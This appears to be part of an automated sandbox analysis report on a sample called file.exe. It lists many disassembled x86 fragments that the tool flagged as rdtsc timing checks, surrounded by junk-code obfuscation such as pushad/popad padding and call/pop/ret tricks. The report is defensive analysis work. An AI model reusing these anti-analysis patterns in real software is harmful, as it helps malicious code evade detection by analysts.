Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6221AC second address: 622223 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007FD4BCDD3066h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FD4BCDD3068h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov edi, 47F5A065h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007FD4BCDD3068h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a pushad 0x0000004b xor dword ptr [ebp+122D21BCh], esi 0x00000051 mov ecx, dword ptr [ebp+122D356Ah] 0x00000057 popad 0x00000058 push 00000000h 0x0000005a mov dword ptr [ebp+12443C8Ch], edx 0x00000060 xchg eax, esi 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622223 second address: 622240 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FD4BD4D2D4Ch 0x00000010 js 00007FD4BD4D2D46h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622240 second address: 622245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62311F second address: 6231A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD4BD4D2D46h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d ja 00007FD4BD4D2D5Fh 0x00000013 pushad 0x00000014 jmp 00007FD4BD4D2D55h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c nop 0x0000001d pushad 0x0000001e mov dl, F7h 0x00000020 jbe 00007FD4BD4D2D4Ch 0x00000026 popad 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D35CAh] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FD4BD4D2D48h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b movsx edi, bx 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 ja 00007FD4BD4D2D5Bh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6231A5 second address: 6231AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6240FE second address: 624110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 je 00007FD4BD4D2D46h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624110 second address: 624124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4BCDD306Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62627F second address: 626285 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626285 second address: 6262A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BCDD3078h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6262A1 second address: 6262B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6262B9 second address: 6262BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62330A second address: 62330E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62430E second address: 624313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6272E2 second address: 6272EC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6243DB second address: 624403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD4BCDD3077h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jbe 00007FD4BCDD3066h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62237B second address: 62237F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62830A second address: 628310 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6264C9 second address: 6264CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628310 second address: 628384 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FD4BCDD3068h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FD4BCDD3068h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebp 0x00000046 call 00007FD4BCDD3068h 0x0000004b pop ebp 0x0000004c mov dword ptr [esp+04h], ebp 0x00000050 add dword ptr [esp+04h], 00000017h 0x00000058 inc ebp 0x00000059 push ebp 0x0000005a ret 0x0000005b pop ebp 0x0000005c ret 0x0000005d xchg eax, esi 0x0000005e push edi 0x0000005f pushad 0x00000060 jns 00007FD4BCDD3066h 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628384 second address: 628393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628393 second address: 6283A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4BCDD306Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62237F second address: 62239E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4BD4D2D52h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627421 second address: 62743D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4BCDD3074h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62239E second address: 6223A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62743D second address: 627441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6223A3 second address: 6223A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627441 second address: 62744E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622469 second address: 62246D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6294B8 second address: 6294BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6294BE second address: 6294C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BBC9 second address: 62BBD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF64D second address: 5CF67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jo 00007FD4BD4D2D46h 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD4BD4D2D50h 0x00000015 jmp 00007FD4BD4D2D51h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF67E second address: 5CF684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF684 second address: 5CF688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7D8D second address: 5D7DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BCDD3070h 0x00000009 popad 0x0000000a je 00007FD4BCDD3068h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4BCDD3076h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632297 second address: 63229B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63229B second address: 6322B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BCDD3071h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6322B2 second address: 6322CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FD4BD4D2D55h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632466 second address: 63246A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63246A second address: 63246E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639D37 second address: 639D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FD4BCDD3072h 0x00000011 jmp 00007FD4BCDD306Ch 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639D57 second address: 639D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B38E second address: 63B392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B392 second address: 63B39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B39E second address: 63B3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B3A2 second address: 63B3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FD4BD4D2D46h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B3B2 second address: 63B3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641712 second address: 641716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641880 second address: 641898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FD4BCDD306Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641898 second address: 64189E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641A73 second address: 641A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641BC9 second address: 641BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FD4BD4D2D48h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641D35 second address: 641D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641D3B second address: 641D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641D41 second address: 641D57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FD4BCDD306Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64217F second address: 642183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642183 second address: 642194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642194 second address: 64219D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646DFE second address: 646E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645C9E second address: 645CB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D50h 0x00000007 jg 00007FD4BD4D2D52h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645CB8 second address: 645CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645CBE second address: 645CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FD4BD4D2D64h 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E1F1 second address: 60E205 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4BCDD3068h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E205 second address: 60E20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60E2C8 second address: 60E2DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BCDD306Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60EADE second address: 60EB5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FD4BD4D2D46h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FD4BD4D2D57h 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FD4BD4D2D48h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f jc 00007FD4BD4D2D4Ch 0x00000035 mov edi, dword ptr [ebp+122D36DAh] 0x0000003b push 00000004h 0x0000003d add edi, dword ptr [ebp+122D2110h] 0x00000043 jno 00007FD4BD4D2D5Ah 0x00000049 push eax 0x0000004a push esi 0x0000004b jo 00007FD4BD4D2D4Ch 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F2FB second address: 60F307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60F307 second address: 5F49CB instructions: 0x00000000 rdtsc 0x00000002 je 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FD4BD4D2D5Ah 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FD4BD4D2D48h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c pushad 0x0000002d mov ax, 25A9h 0x00000031 mov bx, 6CE1h 0x00000035 popad 0x00000036 mov ecx, 2A1BBC58h 0x0000003b lea eax, dword ptr [ebp+12471EDEh] 0x00000041 push eax 0x00000042 pushad 0x00000043 jnl 00007FD4BD4D2D48h 0x00000049 jmp 00007FD4BD4D2D56h 0x0000004e popad 0x0000004f mov dword ptr [esp], eax 0x00000052 sub dword ptr [ebp+122D34EDh], edi 0x00000058 call dword ptr [ebp+122D34F8h] 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 jmp 00007FD4BD4D2D57h 0x00000068 pop eax 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F49CB second address: 5F49D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645F86 second address: 645F97 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4BD4D2D4Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646501 second address: 646505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646505 second address: 646535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4BD4D2D52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FD4BD4D2D55h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646683 second address: 6466B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4BCDD306Bh 0x00000009 push edi 0x0000000a pop edi 0x0000000b jnp 00007FD4BCDD3066h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FD4BCDD3066h 0x0000001a jmp 00007FD4BCDD306Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6466B2 second address: 6466C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jp 00007FD4BD4D2D52h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646803 second address: 64680D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD4BCDD3066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64680D second address: 646817 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4BD4D2D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646817 second address: 64683F instructions: 0x00000000 rdtsc 0x00000002 js 00007FD4BCDD3076h 0x00000008 push edx 0x00000009 jbe 00007FD4BCDD3066h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6469AE second address: 6469BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD4BD4D2D46h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6469BC second address: 6469C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6469C2 second address: 6469CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6469CE second address: 6469D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6469D2 second address: 6469D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D8B4 second address: 64D8B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD46 second address: 64DD4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD4A second address: 64DD4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD4E second address: 64DD56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64DD56 second address: 64DD5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
